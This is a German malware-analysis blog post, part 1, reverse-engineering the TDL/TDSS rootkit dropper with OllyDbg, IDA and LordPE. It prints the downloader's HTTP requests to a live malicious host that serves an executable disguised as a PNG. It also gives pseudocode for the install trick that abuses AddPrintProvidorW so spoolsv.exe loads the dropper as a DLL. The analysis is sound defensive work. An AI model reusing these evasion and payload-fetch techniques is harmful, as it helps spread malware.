Malware Analyse: Gefährliches Rootkit TDL – Teil 1

Ein Raid-Rush Board User hat mich darum gebeten eine Datei zu analysieren, die bei RR angeboten wurde. Er schilderte mir, dass sich auf seinem PC ständig Webseiten im Webbrowser öffnen seit er diese Datei ausgeführt hatte. Nach einem ersten Blick dachte ich zunächst, dass es sich um 0815 Malware handelte, aber nach genauerer Analyse stellte sich heraus, dass es sich um die zurzeit beste und gefährlichste Malware handelt mit dem offiziellen Namen TDL, auch bekannt als TDSS, Alureon oder Olmarik.

TDL ist ein professionelles Rootkit, wer es sich eingefangen hat sollte unbedingt sein Windows neuinstallieren. Ein Virenscanner bringt dabei leider nicht so viel. Als ich die Datei runtergeladen habe wurde sie lediglich von 3 bei insgesamt 43 Virenscanner erkannt (Virustotal Scan Ergebnis). Die Scanergebnisse waren aber alles andere als klar, keiner von ihnen erkannte, dass es sich um dieses gefährliche Rootkit handelt.

Eingesetzte Tools: OllyDbg (mit StrongOD Plugin), ExEinfo PE, Universal Extractor, einen Hexeditor (HxD), IDA, LordPE und natürlich eine VM. Alle Tools sind Freeware und man kann sie mit Google leicht finden.

Das Teil erinnert einen stark an eine Matroschka. Es dauert etwas bis man an das Herzstück des Schädlings kommt. Ich hoffe ich kann es mit Zwischenüberschriften noch übersichtlich genug gestalten. Wer die genannten Windows APIs nicht kennt sollte sie unbedingt in MSDN nachlesen. Nachmachen auf eigene Gefahr.

NSIS mit Downloader

Um die Erkennungsrate zu senken und dem Opfer eine heile Welt vorzugaukeln kommt auch hier ein Installer-System zum Einsatz. Der Schädling ist zusammen mit einer normalen Datei in einem NSIS (Nullsoft Scriptable Install System) Installer. Beim Doppelklick auf die Datei würde sich die normale Datei öffnen und im Hintergrund startet heimlich der Schädling. Erkennen kann man das leicht mit dem Tool ExEinfo PE. Zum Entpacken kann man bequem den Universal Extractor einsetzen, er zeigt uns den wahren Inhalt. Im $PLUGINSDIR befindet sich nun die normale Datei und im $TEMP Ordner befindet sich eine synchro.exe (42,8 KB). Ein weiterer Blick mit ExEinfo PE verrät uns, dass es sich schon wieder um ein NSIS handelt. Also nochmal mit Universal Extractor ran. Nun offenbart sich uns eine DLL: $PLUGINSDIR\NSISdl.dll (14,5 KB). Das ist merkwürdig, weil man normalerweise eine exe vorfinden sollte, die der Installer natürlich ausführt. Eine DLL lässt vermuten, dass der Installer selber die DLL lädt und dort eine Funktion ausführt. Um das nachzuprüfen öffnen wir die synchro.exe mit OllyDbg. Um eine DLL zu laden gibt es unter Windows im Allgemeinen 2 mögliche APIs: LoadLibrary und LoadLibraryEx. Wir setzen lieber Breakpoints auf beide (Unicode und Ansi Varianten). Dazu noch, zur Sicherheit, Breakpoints auf CreateProcess. Nun sollte man 6 Software-Breakpoints gesetzt haben um sicher zu sein, dass nichts Unvorhergesehenes passiert. Mit einem Klick auf Run starten wir die Datei in Olly. Der NSIS verwendet die APIs um auch noch ein paar andere DLLs zu laden, für uns eher uninteressant wir wissen ja wie sie heißen sollte. Nach ein paar mal F9 sind wir bei LoadLibraryExA richtig.
Der Installer versucht die DLL aus einem Temp Verzeichnis zu laden. Wir schauen uns den Code an von dem diese API aufgerufen wurde und sehen schon einen GetProcAddress Aufruf. Wir setzen also direkt einen Breakpoint auf GetProcAddress und lassen weiter laufen bis wir da sind. Die Methode „download“ sagt schon alles.

Wir führen Step Over aus und EAX hat nun die Adresse für die Download Methode, genau da setzen wir natürlich wieder ein Breakpoint und lassen weiterlaufen. Auf den ersten Blick sieht man schon das es sich um einen HTTP Downloader handelt, die Textstrings verraten alles. Der ASCII String „creating socket“ ist besonders verräterisch und genau hier setzen wir ein Breakpoint an den Anfang der Methode. Wir haben es schon geschafft. Das ist das Herzstück des Downloaders, wenn man langsam durchsteppt, erkennt man gut wie Winsock aufgebaut wird und was genau wohin gesendet wird.

Der Download Vorgang ist sehr interessant zum besser vorstellen:

GET /media/mediaupdt.exe HTTP/1.0
Host: mediamedialtd.in
User-Agent: NSISDL/1.2 (Mozilla)
Accept: */*

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://mediamedialtd.in/jds84u3LKSdj384ure943ie4.php">here</a>.</p>
<hr>
<address>Apache Server at mediamedialtd.in Port 80</address>
</body></html>

GET /jds84u3LKSdj384ure943ie4.php HTTP/1.0
Host: mediamedialtd.in
User-Agent: NSISDL/1.2 (Mozilla)
Accept: */*

HTTP/1.1 302 Moved Temporarily
Date: Sat, 04 Sep 2010 12:54:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Location: http://c.wrzuta.pl/wo5712/34f78998001a6f5e4c80f2b5/85107414.png
Content-Length: 0
Connection: close
Content-Type: text/html

GET /wo5712/34f78998001a6f5e4c80f2b5/85107414.png HTTP/1.0
Host: c.wrzuta.pl
User-Agent: NSISDL/1.2 (Mozilla)
Accept: */*

PS: Die Webseite ist immer noch scharf. Man sollte also nicht leichtsinnig auf die Webseite gehen!

Es wird eine mediaupdt.exe (als PNG getarnt) heruntergeladen. Da wir bereits einen Breakpoint auf CreateProcessA gesetzt haben können wir mit F9 weiter ausführen bis wir die Stelle erreicht haben, wo die Datei ausgeführt werden soll. Man sollte sie natürlich nicht ausführen, sondern Olly direkt beenden.

PE Loader

Die Datei die man von der Webseite runtergeladen wird, wird wahrscheinlich täglich geändert, um die Antivirenscanner weiterhin auszutricksen. In der Datei selber gibt es viel Code der nicht ausgeführt wird bzw. der keinen Sinn macht um die Virenscanner zu täuschen. Die Datei-Informationen sehen normal und echt aus: Image Store v 7.1.93.0, Copyright © 2008 Nokia. In einem Resourceeditor sieht die Datei auch sehr gut aus, es sind sogar Dialoge und normale Strings drin. Von außen gibt es also keine Hinweise auf einen schädlichen Inhalt. Es sind auch viele (harmlose) APIs in der IAT drin, das kennt man normalerweise von Malware nicht, weil die meisten versuchen möglichst wenig bis gar keine APIs in der IAT sichtbar zu machen. Bei sowas kann man sich aber fast sicher sein, dass mit GetProcAddress versucht wird an die Adressen von weiteren APIs zu kommen. Da sollten wir also mal ein Breakpoint setzen und einfach mal starten. Die ersten paar breaks sind uninteressant, weil sie von normalen Windows DLLs kommen, doch dann haben wir den Jackpot.

Die API wird von der Adresse 009010AC aufgerufen. Wenn wir uns diesen Bereich anschauen sieht man sofort, dass hier das Herzstück ist. So geben wir uns aber nicht zufrieden. Wir wollen das Herzstück erst mal extrahieren und von dem Loader befreien. Die Adresse 009XXXXX ist nicht mehr in dem Code der eigentlichen Exe, hier liegt es nahe, dass der Adressbereich erst zur Laufzeit reserviert wurde. Am besten macht man sowas mit VirtualAlloc. Wir starten das Programm neu in Olly und setzen ein Breakpoint auf VirtualAlloc. Wir breaken ca. 5-mal an unwichtigen Stellen. Warum unwichtig? Weil da zu wenig Space reserviert wird. Nun steht bei Size 0x18000 das ist sehr viel. Wir machen Execute till return und schauen mal ob der Bereich bei der gefundenen Adresse schon reserviert wurde. Nein ist er noch nicht. Wir schauen uns trotzdem den Code an der die API aufruft. Der Code beinhaltet eine Schleife der ein paar mal die API aufruft, solang wollen wir nicht warten und setzen einfach einen Breakpoint nach der Schleife 004029BE. Der Adressbereich bei 009010AC wurde nun reserviert und ist noch leer. Wir wollen nun die Methode haben, die diesen Bereich füllt, dazu setzen wir einfach ein Hardware Breakpoint on write dahin und lassen weiterlaufen. Tada… wir halten in der richtigen Kopiermethode (00401F51):

MOV CL,BYTE PTR DS:[ECX]
MOV BYTE PTR DS:[EAX],CL

In ECX steht die Quelladresse und in EAX die Zieladresse, super. Interessiert uns nicht genauer, denn nun dumpen wir mit LordPE die exe. LordPE starten, Rechtsklick auf exe und „dump full“. Wir öffnen den Dump mit einem Hexeditor und suchen nach MZ (PE Datei Anfang). Wir sollten MZ direkt ca. in der Mitte finden und nun entfernen wir alle Bytes vor MZ, schließlich noch abspeichern und fertig. Jetzt haben wir das Herzstück vor uns liegen völlig schutzlos und man kann es prima in Olly und IDA reinladen zum Analysieren.

Das Herzstück – Spezielle Rootkit Install Technik

Wer jetzt denkt wir hätten das Beste schon hinter uns, der irrt sich. Das Teil bietet noch einige Überraschungen. Wir haben das Herzstück erfolgreich extrahiert und widmen uns nun der Methode, bei der wir vorher aufgehört haben. Zum Analysieren eignet sich hier am besten IDA, aber Olly geht auch. Besonders auffällig ist, dass der Entwickler sich hier keine Mühe mehr gegeben hat das Analysieren zu erschweren, alles ist im Klartext, nicht mal die APIs sind verschleiert. Die Entrypoint Methode ist relativ kurz und lässt sich gut mit Pseudocode darstellen:

GetTempPathW(0x104, &PathName);
GetTempFileNameW(&PathName, 0, 0, &FileName1);
if (is64BitWindows()) //API: IsWow64Process
{
	GetModuleHandleA(0);
	kontaktiereCommandServer();
	if(GetModuleFileNameW(0, &FileName, 0x104))
	{
		kopiereZuTempVerzeichnis();
	}
	ExitProcess(0);
}
GetModuleHandleW(0);
GetMappedFileNameW(0xFFFFFFFF, var, var, 0x104);
snwprintf(&ExistingFileName, 0x104, L"\\\\?\\globalroot%s", var);
if (CopyFileW(&ExistingFileName, &FileName, 0))
{
	CreateFileW(&FileName, 0x1F01FF, FILE_SHARE_READ, 0, OPEN_EXISTING, WRITE_THROUGH, 0);
	CreateFileMappingA(var, 0, PAGE_READWRITE, 0, 0, 0);
	MapViewOfFile(var, 0xF001F, 0, 0, 0);
	RtlImageNtHeader(var);
	//setze DLL Flag in PE Header
	GetFileSize(var, 0);
	CheckSumMappedFile(var, var, &HeaderSum, &CheckSum);
	UnmapViewOfFile(var);
	CloseHandle(var);
	CloseHandle(var);
}

GetTempFileNameW(&PathName, 0, 0, &FileName);
MoveFileExW(&NewFileName, &FileName, REPLACE_EXISTING);
pProvidorInfo = L"tdl";
AddPrintProvidorW(L"tdl", 1, pProvidorInfo); //starte spoolsv mit dll
//wenn erfolgreich
DeletePrintProvidorW(0, 0, L"tdl");
DeleteFileW(&FileName);

Die Hauptaktionen sind: Die eigene EXE ins Temp Verzeichnis kopieren, DLL Flags setzen (macht aus EXE eine DLL im PE Header) und die API AddPrintProvidor ausführen. AddPrintProvidor, was macht die API? Aus MSDN wird man nicht unbedingt schlau. Die API registriert einen neuen Print Providor in Form einer DLL. Das TDSS veranlasst mit dieser API, dass sich der Spool Server (spoolsv.exe) die im Temp Verzeichnis erstellte DLL ladet. Ein wirklich unglaublich guter Trick. Spoolsv.exe ist ein Service unter Windows und hat volle Rechte um alles zu tun. Spoolsv.exe installiert also den eigentlich Rootkit Treiber auf dem System und da es ein vertrauenswürdiger Prozess ist werden damit auch einige Antivirenscanner und Firewalls ausgetrickst. Das tolle daran ist auch, dass die eigene exe kopiert wird und von spoolsv als DLL ausgeführt wird. Auch ein netter Trick den man nicht alle Tage sieht.

To be continued…